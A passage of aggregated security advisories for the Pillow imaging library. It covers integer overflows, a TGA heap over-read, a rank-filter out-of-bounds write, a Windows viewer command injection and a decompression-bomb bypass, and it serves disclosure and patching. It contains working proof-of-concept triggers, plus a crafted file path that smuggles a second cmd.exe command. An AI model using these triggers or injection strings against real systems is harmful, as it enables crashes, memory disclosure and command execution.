default=2)\n    args = parser.parse_args()\n\n    width = args.width\n    src = Image.frombytes(\"RGBA\", (width, 1), rgba_pattern(width))\n\n    if args.variant == \"paste\":\n        box = ((1 \u003c\u003c 31) - width, 0, INT_MIN, 1)\n        dst = Image.new(\"RGBA\", (max(8, width), 1), (0, 0, 0, 0))\n        print(f\"variant=paste box={box}\")\n        print(f\"expected C dst offset={-4 * width}, write_size={4 * width}\")\n        sys.stdout.flush()\n        dst.paste(src, box)\n        print(\"paste returned; first row:\", dst.tobytes().hex())\n\n    elif args.variant == \"crop\":\n        left = INT_MIN + width\n        box = (left, 0, left + width, 1)\n        print(f\"variant=crop box={box}\")\n        sys.stdout.flush()\n        out = src.crop(box)\n        print(\"crop returned; output:\", out.tobytes().hex())\n\n    else:\n        dest = (INT_MIN + width, 0)\n        dst = Image.new(\"RGBA\", (max(8, width), 1), (0, 0, 0, 0))\n        print(f\"variant=alpha dest={dest}\")\n        sys.stdout.flush()\n        dst.alpha_composite(src, dest=dest)\n        print(\"alpha_composite returned; first row:\", dst.tobytes().hex())\n\n    sys.stdout.flush()\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nRun against an ASAN build:\n\n```bash\nenv ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \\\n  python b021_poc.py paste\n\nenv ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \\\n  python b021_poc.py crop\n\nenv ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \\\n  python b021_poc.py alpha\n```\n\nObserved ASAN signature for the direct `Image.paste()` path:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 8\npaste /out/src/src/libImaging/Paste.c:59\nImagingPaste /out/src/src/libImaging/Paste.c:323\n_paste /out/src/src/_imaging.c:1461\n0x... is located 8 bytes before 32-byte region\n```\n\nOn non-ASAN Pillow `12.2.0` and local `12.3.0.dev0`, the direct minimal\n`Image.paste()` trigger returns from `paste()` and then the process aborts\nduring cleanup with:\n\n```text\ndouble free or corruption (out)\nAborted (core dumped)\n```\n\nObserved ASAN signature for the `Image.crop()` and `Image.alpha_composite()`\npaths:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 8\npaste /out/src/src/libImaging/Paste.c:59\nImagingPaste /out/src/src/libImaging/Paste.c:323\nImagingCrop /out/src/src/libImaging/Crop.c:57\n_crop /out/src/src/_imaging.c:1090\n```\n## Suggested fix\n\nAvoid signed overflow in paste/crop coordinate arithmetic. Use checked\narithmetic or a wider type before calculating widths and clipped endpoints.\n\nFor example, reject boxes whose endpoint subtraction cannot be represented\ncleanly, and clip using non-overflowing comparisons:\n\n```c\nint64_t xsize64 = (int64_t)dx1 - dx0;\nint64_t ysize64 = (int64_t)dy1 - dy0;\n\nif (xsize64 \u003c 0 || ysize64 \u003c 0 || xsize64 \u003e INT_MAX || ysize64 \u003e INT_MAX) {\n    return ImagingError_ValueError(\"bad box\");\n}\n```\n\n`ImagingCrop()` should receive the same treatment for `sx1 - sx0`,\n`dx0 = -sx0`, and `dx1 = imIn-\u003exsize - sx0`.\n\n### Impact\n\nThis is a heap out-of-bounds write in Pillow's native C extension, reachable\nthrough documented public image APIs.\n\nApplications are impacted if an untrusted user can control image operation\ncoordinates passed to Pillow, for example crop boxes, paste boxes, or overlay\npositions. The bytes written in the direct `Image.paste()` variant are copied\nfrom the source image, so attacker-controlled source pixels can influence the\nout-of-bounds write. For `RGBA`, the write is a backward heap underwrite whose\noffset and length are both `4 * source_width`, bounded in practice by successful\nimage allocation and heap layout.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-20T23:09:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-6r8x-57c9-28j4","https://nvd.nist.gov/vuln/detail/CVE-2026-59199","https://github.com/python-pillow/Pillow/pull/9703","https://github.com/python-pillow/Pillow/commit/ceefc348eb3c3844c7f9796ef2cc3a7dd5fbba7b","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3451.yaml","https://github.com/python-pillow/Pillow/releases/tag/12.3.0","https://github.com/advisories/GHSA-6r8x-57c9-28j4"],"source_kind":"github","identifiers":["GHSA-6r8x-57c9-28j4","CVE-2026-59199"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-21T00:00:08.727Z","updated_at":"2026-12-03T11:03:35.950Z","epss_percentage":0.00385,"epss_percentile":0.34742,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02cjh4LTU3YzktMjhqNM4ABcRX","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02cjh4LTU3YzktMjhqNM4ABcRX","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"12.3.0","vulnerable_version_range":"\u003c 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02cjh4LTU3YzktMjhqNM4ABcRX/related_packages","related_advisories":[{"uuid":"CVE-2026-59199","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59199.json"},{"uuid":"UBUNTU-CVE-2026-59199","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8999-1"},{"uuid":"USN-8999-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8999-1"},{"uuid":"DEBIAN-CVE-2026-59199","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-59199"}]},{"uuid":"GSA_kwCzR0hTQS1majd2LXI5OW0tMjJncc4ABcRW","url":"https://github.com/advisories/GHSA-fj7v-r99m-22gq","title":"Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images","description":"### Summary\n\nPillow's TGA RLE encoder reads past its row buffer when saving a mode `\"1\"`\nimage. Adjacent process heap bytes can be copied into the generated TGA file.\n\nThe bug is reachable through the public save API:\n\n```python\nim.save(out, format=\"TGA\", compression=\"tga_rle\")\n```\n\nOlder affected Pillow versions use the equivalent public option `rle=True`.\n\nFor mode `\"1\"`, Pillow allocates a packed row buffer of `ceil(width / 8)`\nbytes, but `ImagingTgaRleEncode()` treats the row as one full byte per pixel.\n\nThe maximum valid TGA width is `65535`. At that width:\n\n```text\nallocated packed row buffer: 8192 bytes\nencoder byte-offset walk:     65535 bytes\nmaximum OOB window per row:   57343 bytes\n```\n\nOn non-ASAN Pillow `12.2.0`, the public-only maximum-width PoC below serialized\n`57297` bytes from distinct out-of-bounds source offsets into one returned TGA,\ncovering `99.92%` of the maximum adjacent heap window. No heap grooming, ctypes,\nprivate API, or malformed input file was used. The disclosure is emitted across\nmany TGA packet payload copies of at most `128` bytes each, not one large\n`memcpy()`.\n\n### Details\n\n`src/PIL/TgaImagePlugin.py` allows mode `\"1\"` TGA output and selects the\n`tga_rle` encoder when RLE compression is requested.\n\n`src/encode.c:_setimage()` allocates the row buffer using the packed-bit\nformula:\n\n```c\nstate-\u003ebytes = (state-\u003ebits * state-\u003exsize + 7) / 8;\nstate-\u003ebuffer = (UINT8 *)calloc(1, state-\u003ebytes);\n```\n\nFor mode `\"1\"`, `state-\u003ebits == 1`.\n\n`src/libImaging/TgaRleEncode.c` then computes:\n\n```c\nbytesPerPixel = (state-\u003ebits + 7) / 8;\n```\n\nThis becomes `1`, and the encoder uses pixel indexes as byte offsets:\n\n```c\nstatic int\ncomparePixels(const UINT8 *buf, int x, int bytesPerPixel) {\n    buf += x * bytesPerPixel;\n    return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0;\n}\n```\n\nThe packet payload `memcpy()` later copies those out-of-bounds source bytes into\nthe output. Raw packets copy up to `128` contiguous bytes, while RLE packets copy\none representative byte:\n\n```c\nmemcpy(\n    dst, state-\u003ebuffer + (state-\u003ex * bytesPerPixel - state-\u003ecount), flushCount\n);\n```\n\nA width-2 mode `\"1\"` image allocates one row byte and already triggers an ASAN\nheap-buffer-overflow read. Wider images increase the adjacent heap window and\nthe amount of heap data that can be serialized.\n\n### PoC\n\n#### Minimal ASAN trigger\n\n```python\nimport io\nfrom PIL import Image\n\nout = io.BytesIO()\nImage.new(\"1\", (2, 1)).save(out, format=\"TGA\", compression=\"tga_rle\")\n```\n\nObserved on local Pillow `12.3.0.dev0` ASAN target:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nREAD of size 1\ncomparePixels /out/src/src/libImaging/TgaRleEncode.c:10\nImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81\n0 bytes after a 1-byte allocation from _setimage\n```\n\n#### Maximum-width heap disclosure\n\nThis PoC uses one maximum-width row. It parses the generated TGA packets and\nextracts only payload bytes whose source offsets were outside the allocated\npacked row. Rows are  avoided because they mostly repeat the same adjacent heap window.\n\nRun the following with a standard affected Pillow installation.\n\n```python\nimport hashlib\nimport io\nimport PIL\nfrom PIL import Image\n\nWIDTH = 65535\nATTEMPTS = 20\nROW_BYTES = (WIDTH + 7) // 8\nMAX_OOB_WINDOW = WIDTH - ROW_BYTES\n\ndef extract_oob_payload(data):\n    i = 18\n    pixel = 0\n    oob = bytearray()\n\n    while pixel \u003c WIDTH:\n        descriptor = data[i]\n        i += 1\n        count = (descriptor \u0026 0x7F) + 1\n\n        if descriptor \u0026 0x80:\n            value = data[i]\n            i += 1\n            if pixel + count - 1 \u003e= ROW_BYTES:\n                oob.append(value)\n        else:\n            values = data[i : i + count]\n            i += count\n            oob.extend(values[max(ROW_BYTES - pixel, 0) :])\n\n        pixel += count\n\n    return bytes(oob)\n\n\nbest = b\"\"\n\nfor _ in range(ATTEMPTS):\n    out = io.BytesIO()\n    Image.new(\"1\", (WIDTH, 1), 0).save(out, format=\"TGA\", compression=\"tga_rle\")\n    oob = extract_oob_payload(out.getvalue())\n    if len(oob) \u003e len(best):\n        best = oob\n\nwith open(\"/tmp/max_oob_bytes.bin\", \"wb\") as fp:\n    fp.write(best)\n\nprint(f\"Pillow={PIL.__version__}\")\nprint(f\"packed_row_bytes={ROW_BYTES}\")\nprint(f\"maximum_oob_window={MAX_OOB_WINDOW}\")\nprint(f\"serialized_distinct_oob_offsets={len(best)}\")\nprint(f\"nonzero_oob_bytes={sum(byte != 0 for byte in best)}\")\nprint(f\"coverage={len(best) / MAX_OOB_WINDOW:.2%}\")\nprint(f\"sha256={hashlib.sha256(best).hexdigest()}\")\n```\n\nObserved on installed Pillow `12.2.0`:\n\n```text\nPillow=12.2.0\npacked_row_bytes=8192\nmaximum_oob_window=57343\nserialized_distinct_oob_offsets=57297\nnonzero_oob_bytes=54407\ncoverage=99.92%\n```\n\n### Impact\n\nThis is a heap out-of-bounds read and potential information disclosure.\n\nA maximum-width single-row image can cause nearly the full\n`57343`-byte adjacent heap window to be incorporated into one output file.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-20T23:09:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-fj7v-r99m-22gq","https://nvd.nist.gov/vuln/detail/CVE-2026-59198","https://github.com/python-pillow/Pillow/pull/9709","https://github.com/python-pillow/Pillow/commit/eada3cbd7fb9963ee90673fb7b5270124a0d5f4b","https://github.com/python-pillow/Pillow/releases/tag/12.3.0","https://github.com/advisories/GHSA-fj7v-r99m-22gq"],"source_kind":"github","identifiers":["GHSA-fj7v-r99m-22gq","CVE-2026-59198"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-21T00:00:08.727Z","updated_at":"2026-12-03T11:03:35.951Z","epss_percentage":0.00313,"epss_percentile":0.26094,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1majd2LXI5OW0tMjJncc4ABcRW","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1majd2LXI5OW0tMjJncc4ABcRW","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"12.3.0","vulnerable_version_range":"\u003e= 5.2.0, \u003c 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1majd2LXI5OW0tMjJncc4ABcRW/related_packages","related_advisories":[{"uuid":"UBUNTU-CVE-2026-59198","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8690-1"},{"uuid":"USN-8690-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8690-1"},{"uuid":"DEBIAN-CVE-2026-59198","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-59198"},{"uuid":"CVE-2026-59198","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59198.json"}]},{"uuid":"GSA_kwCzR0hTQS14ajk2LTYzZ3AtMmdtcs4ABcRV","url":"https://github.com/advisories/GHSA-xj96-63gp-2gmr","title":"Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`","description":"### Summary\n\nPillow's public rank-filter API can trigger a native heap out-of-bounds write\nwhen given a very large odd filter size.\n\nMinimal public API trigger:\n\n```python\nfrom PIL import Image, ImageFilter\n\nim = Image.new(\"L\", (3, 3), 128)\nim.filter(ImageFilter.MedianFilter(4294967295))\n```\n\n`ImageFilter.RankFilter.filter()` calls `image.expand(size // 2, size // 2)`\nbefore rank-filter size validation. With `size = 4294967295`, the\nexpansion margin is `2147483647` (`INT_MAX`). `ImagingExpand()` then computes\nthe output dimensions with unchecked signed `int` arithmetic. On tested builds,\nthis wraps to a tiny output image and the border-expansion loop writes past the\nallocation.\n\nThis is reachable through documented public classes (`RankFilter`,\n`MedianFilter`, `MinFilter`, and `MaxFilter`). No private API, ctypes, or custom\nPython object is needed.\n\n### Details\n\nCurrent `src/PIL/ImageFilter.py`:\n\n```python\nclass RankFilter(Filter):\n    def filter(self, image):\n        if image.mode == \"P\":\n            msg = \"cannot filter palette images\"\n            raise ValueError(msg)\n        image = image.expand(self.size // 2, self.size // 2)\n        return image.rankfilter(self.size, self.rank)\n```\n\nThe `expand()` call is made before `image.rankfilter(...)`.\n\nCurrent `src/libImaging/Filter.c:ImagingExpand()` does not check output-size\noverflow:\n\n```c\nif (xmargin \u003c 0 \u0026\u0026 ymargin \u003c 0) {\n    return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\n\nimOut = ImagingNewDirty(\n    imIn-\u003emode, imIn-\u003exsize + 2 * xmargin, imIn-\u003eysize + 2 * ymargin\n);\n```\n\nFor a `3x3` image and `xmargin = ymargin = INT_MAX`, the computed output size\nwraps to `1x1` on tested builds. The following loop still uses the huge margin:\n\n```c\nfor (x = 0; x \u003c xmargin; x++) {\n    imOut-\u003eimage[yout][x] = imIn-\u003eimage[yin][0];\n}\n```\n\n`src/libImaging/RankFilter.c` does contain checks that would reject this size:\n\n```c\nif (!(size \u0026 1)) {\n    return (Imaging)ImagingError_ValueError(\"bad filter size\");\n}\nif (size \u003e INT_MAX / size || size \u003e INT_MAX / (size * (int)sizeof(FLOAT32))) {\n    return (Imaging)ImagingError_ValueError(\"filter size too large\");\n}\n```\n\nBut  those checks are reached only after `RankFilter.filter()` has already\ncalled `image.expand(...)`.\n\nMode `\"L\"` produces 1-byte OOB stores. Modes `\"I\"` and `\"F\"` produce 4-byte OOB\nstores. The repeated value written OOB is copied from the source image border\npixel, so attacker-supplied image bytes can influence it. This is a sequential\noverwrite, not an arbitrary-address write.\n\n### PoC\n\nMinimal ASAN crash PoC:\n\n```python\nfrom PIL import Image, ImageFilter\n\nim = Image.new(\"L\", (3, 3), 128)\nim.filter(ImageFilter.MedianFilter(4294967295))\n```\n\nObserved on local Pillow `12.3.0.dev0` ASAN target:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 1\nImagingExpand /out/src/src/libImaging/Filter.c:99\n_expand_image /out/src/src/_imaging.c:1100\n0 bytes after a 1-byte allocation\n```\n\n4-byte write variant with source pixel loaded from normal image bytes:\n\n```python\nfrom io import BytesIO\nfrom PIL import Image, ImageFilter\n\nSIZE = 4294967295\nPIXEL = 0x41424344\n\nsrc = BytesIO()\nImage.new(\"I\", (3, 3), PIXEL).save(src, format=\"TIFF\")\n\nim = Image.open(BytesIO(src.getvalue()))\nim.load()\nassert im.mode == \"I\"\nassert im.getpixel((0, 0)) == PIXEL\n\nim.filter(ImageFilter.MedianFilter(SIZE))\n```\n\nObserved ASAN signature:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 4\nImagingExpand /out/src/src/libImaging/Filter.c:101\n_expand_image /out/src/src/_imaging.c:1100\n0 bytes after a 4-byte allocation\n```\n\nVersion checks:\n\n```text\nPillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime\nPillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime\nPillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public\n                           validation order and unchecked ImagingExpand arithmetic\nupstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected\n```\n\n### Impact\n\nIt is a heap out-of-bounds write in Pillow's native C extension, reachable\nthrough public image-filter classes.\n\nApplications are impacted if an untrusted user can control the rank-filter\nsize/configuration passed to Pillow. If the image is also attacker-supplied, the\nsource pixel value written out of bounds can be attacker-influenced, including\n4-byte values for mode `\"I\"` images.\n\n\n## Possible fix\n\nValidate the rank-filter size before calling `image.expand(...)`, and harden\n`ImagingExpand()` against invalid margins and overflow:\n\n```c\nif (xmargin \u003c 0 || ymargin \u003c 0) {\n    return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\nif (xmargin \u003e (INT_MAX - imIn-\u003exsize) / 2 ||\n    ymargin \u003e (INT_MAX - imIn-\u003eysize) / 2) {\n    return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-20T23:08:58.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr","https://nvd.nist.gov/vuln/detail/CVE-2026-59197","https://github.com/python-pillow/Pillow/pull/9695","https://github.com/python-pillow/Pillow/commit/cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1","https://github.com/python-pillow/Pillow/releases/tag/12.3.0","https://github.com/advisories/GHSA-xj96-63gp-2gmr"],"source_kind":"github","identifiers":["GHSA-xj96-63gp-2gmr","CVE-2026-59197"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-21T00:00:08.727Z","updated_at":"2026-12-04T21:03:00.436Z","epss_percentage":0.00445,"epss_percentile":0.40511,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14ajk2LTYzZ3AtMmdtcs4ABcRV","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14ajk2LTYzZ3AtMmdtcs4ABcRV","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"12.3.0","vulnerable_version_range":"\u003c 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14ajk2LTYzZ3AtMmdtcs4ABcRV/related_packages","related_advisories":[{"uuid":"CVE-2026-59197","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59197.json"},{"uuid":"UBUNTU-CVE-2026-59197","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8999-1"},{"uuid":"USN-8999-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8999-1"},{"uuid":"DEBIAN-CVE-2026-59197","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-59197"}]},{"uuid":"GSA_kwCzR0hTQS00eDRqLTJnN2MtODN3Ns4ABcP4","url":"https://github.com/advisories/GHSA-4x4j-2g7c-83w6","title":"Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path","description":"### 1. Summary\n\n`WindowsViewer.get_command()` constructs a `cmd.exe` shell command by directly embedding a\nfile path into an f-string without escaping. The result is passed to\n`subprocess.Popen(..., shell=True)`. Shell metacharacters in the file path — most\nimportantly a double-quote (`\"`) that breaks out of the wrapping, followed by `\u0026` — allow\ninjection of arbitrary `cmd.exe` commands.\n\nThe macOS equivalent (`MacViewer`) correctly applies `shlex.quote()` to the same parameter.\nThe Linux equivalent (`UnixViewer`) does likewise. Windows is the only platform missing this\nprotection, despite `shlex.quote` being **already imported** on line 21 of `ImageShow.py`.\n\n---\n\n### 2. Vulnerable Code\n\n**File:** `src/PIL/ImageShow.py`, lines 133–150\n\n```python\nclass WindowsViewer(Viewer):\n    format = \"PNG\"\n    options = {\"compress_level\": 1, \"save_all\": True}\n\n    def get_command(self, file: str, **options: Any) -\u003e str:\n        return (\n            f'start \"Pillow\" /WAIT \"{file}\" '    # ← f-string, no escaping\n            \"\u0026\u0026 ping -n 4 127.0.0.1 \u003eNUL \"\n            f'\u0026\u0026 del /f \"{file}\"'                # ← same path, unescaped again\n        )\n\n    def show_file(self, path: str, **options: Any) -\u003e int:\n        if not os.path.exists(path):\n            raise FileNotFoundError\n        subprocess.Popen(\n            self.get_command(path, **options),\n            shell=True,                          # ← shell=True\n            creationflags=getattr(subprocess, \"CREATE_NO_WINDOW\"),\n        )  # nosec                               # ← Bandit warning suppressed manually\n        return 1\n```\n\n**Contrast with macOS — SAFE (line 164–168):**\n```python\nclass MacViewer(Viewer):\n    def get_command(self, file: str, **options: Any) -\u003e str:\n        command = \"open -a Preview.app\"\n        command = f\"({command} {quote(file)}; sleep 20; rm -f {quote(file)})\u0026\"\n        return command                           # ← shlex.quote() applied\n```\n\n**Cross-platform summary:**\n\n| Platform | Class          | `shlex.quote()`? | `shell=True`? | Safe? |\n|----------|----------------|------------------|---------------|-------|\n| macOS    | `MacViewer`    | **Yes** (line 168) | No (list args) | ✅ Yes |\n| Linux    | `UnixViewer`   | **Yes** (line 207) | No (list args) | ✅ Yes |\n| Windows  | `WindowsViewer`| **No** (line 134–137) | **Yes** (line 148) | ❌ No |\n\n`shlex.quote` is imported on line 21. Its omission from the Windows path is a clear\noversight, not a deliberate design choice.\n\n---\n### 3. Proof of Concept\n\nA full working PoC is at `poc_pillow_injection.py`. Key parts:\n\n**Part A — Injection string construction (static, no execution):**\n```python\nfrom PIL.ImageShow import WindowsViewer\n\nviewer = WindowsViewer()\nevil_path = r'C:\\Temp\\evil\" \u0026 echo PWNED \u0026 echo \"'\ncmd = viewer.get_command(evil_path)\nprint(cmd)\n# Output:\n# start \"Pillow\" /WAIT \"C:\\Temp\\evil\" \u0026 echo PWNED \u0026 echo \"\" \u0026\u0026 ping ...\n# ┌─ start \"Pillow\" /WAIT \"C:\\Temp\\evil\"   → fails (file not found)\n# ├─ \u0026 echo PWNED                           → INJECTED COMMAND\n# └─ \u0026 echo \"\"  \u0026\u0026 ping ...                → continues\n```\n\n**Part B — Live execution via `os.system()` (verified on Windows 11, Pillow 12.1.1):**\n```python\nimport os, tempfile\nfrom PIL.ImageShow import WindowsViewer\n\nviewer = WindowsViewer()\npoc_dir = tempfile.mkdtemp()\nmarker  = os.path.join(poc_dir, \"INJECTION_CONFIRMED.txt\")\n\n# Craft injection: payload writes a marker file (harmless)\npayload   = f'echo REAL_INJECTED \u003e \"{marker}\"'\nevil_path = os.path.join(poc_dir, f'poc\" \u0026 {payload} \u0026 echo \"')\n\n# Call the REAL Pillow get_command():\nreal_cmd = viewer.get_command(evil_path)\n\n# Execute the same way the base Viewer.show_file() does (os.system):\nos.system(real_cmd)\n\nassert os.path.exists(marker)                          # PASSES — marker was created\nassert \"REAL_INJECTED\" in open(marker).read()          # PASSES\n# → CONFIRMED: arbitrary command injection via get_command()\n```\n\n---","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-20T21:14:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.5,"cvss_vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-4x4j-2g7c-83w6","https://nvd.nist.gov/vuln/detail/CVE-2026-55798","https://github.com/python-pillow/Pillow/commit/8404ea5fe5df40fc34aa1e51403dd6fce0778b8a","https://github.com/python-pillow/Pillow/commit/88194166691b7b603529b8b036ab3ab9cedd2de4","https://github.com/python-pillow/Pillow/commit/b0e06caa64c1405aa3da0bb1d2bd9a77ca22de7f","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2257.yaml","https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst","https://github.com/advisories/GHSA-4x4j-2g7c-83w6"],"source_kind":"github","identifiers":["GHSA-4x4j-2g7c-83w6","CVE-2026-55798"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T22:00:09.057Z","updated_at":"2026-12-02T11:03:26.331Z","epss_percentage":0.00197,"epss_percentile":0.09896,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00eDRqLTJnN2MtODN3Ns4ABcP4","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00eDRqLTJnN2MtODN3Ns4ABcP4","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"12.3.0","vulnerable_version_range":"\u003c 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00eDRqLTJnN2MtODN3Ns4ABcP4/related_packages","related_advisories":[{"uuid":"UBUNTU-CVE-2026-55798","source_kind":"osv","url":"https://osv.dev/vulnerability/UBUNTU-CVE-2026-55798"},{"uuid":"CVE-2026-55798","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55798.json"}]},{"uuid":"GSA_kwCzR0hTQS1waGo5LW12NHctNjVwbc4ABcP3","url":"https://github.com/advisories/GHSA-phj9-mv4w-65pm","title":"Pillow `GdImageFile._open()`: image dimensions accepted without `_decompression_bomb_check()`","description":"## Description\n\n`PIL/GdImageFile.py` `GdImageFile._open()` reads image dimensions from the GD 2.x header and stores them in `self._size` without calling `Image._decompression_bomb_check()`. Because `GdImageFile` is **not registered with `Image.register_open()`**, it never passes through the standard `Image.open()` code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — `PIL.GdImageFile.open(fp)` — which directly instantiates the class, fully bypassing the documented protection.\n\n**Vulnerable code (`PIL/GdImageFile.py` lines 50–61):**\n\n```python\ndef _open(self) -\u003e None:\n    s = self.fp.read(1037)\n    if i16(s) not in [65534, 65535]:\n        raise SyntaxError(\"Not a valid GD 2.x .gd file\")\n    self._mode = \"P\"\n    self._size = i16(s, 2), i16(s, 4)   # ← unsigned 16-bit; max 65535 each\n    # NO _decompression_bomb_check() call here ←\n    ...\n    self.tile = [ImageFile._Tile(\"raw\", (0, 0) + self.size, 1037, \"L\")]\n```\n\nWhen `load()` is subsequently called on the returned image object:\n\n```python\nload() → load_prepare() → Image.core.new(\"P\", (65535, 65535))\n# ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes this\n```\n\n**Dimension arithmetic:**\n\n| Field | Value |\n|---|---|\n| Maximum width from header | 65,535 (unsigned 16-bit) |\n| Maximum height from header | 65,535 (unsigned 16-bit) |\n| Maximum pixel count | 65,535 × 65,535 = **4,294,836,225** |\n| `DecompressionBombError` threshold | 178,956,970 (2 × MAX_IMAGE_PIXELS) |\n| **Overshoot ratio** | **24× above DecompressionBombError threshold** |\n| Memory at max dimensions | **≈ 4.3 GB** (palette-mode: 1 byte/pixel) |\n| Minimum attack file size | **1,037 bytes** (header only — no pixel data needed) |\n\n**Comparison with safe sibling plugin (`WalImageFile`):**\n\n`WalImageFile` is in the same category — not registered with `Image.open()`, loaded via its own `open()` helper. It was previously patched with the correct fix:\n\n```python\n# PIL/WalImageFile.py line 46 — CORRECT pattern (already patched)\nself._size = i32(header, 32), i32(header, 36)\nImage._decompression_bomb_check(self.size)   # ← present\n```\n\n`GdImageFile` was never updated to match, leaving a gap in protection.\n\n## Steps to reproduce\n\n**Proof of Concept script:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: GdImageFile decompression bomb bypass\n1037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check\n\"\"\"\nimport io, struct\nfrom PIL import GdImageFile, Image\n\n# Build minimal 1037-byte GD 2.x palette-mode header:\n#   sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024)\nsig          = struct.pack(\"\u003eH\", 0xFFFE)       # 65534 = GD 2.x magic\nw            = struct.pack(\"\u003eH\", 65535)         # max width\nh            = struct.pack(\"\u003eH\", 65535)         # max height\ntrue_color   = b\"\\x00\"                          # 0 = palette mode\ntindex       = 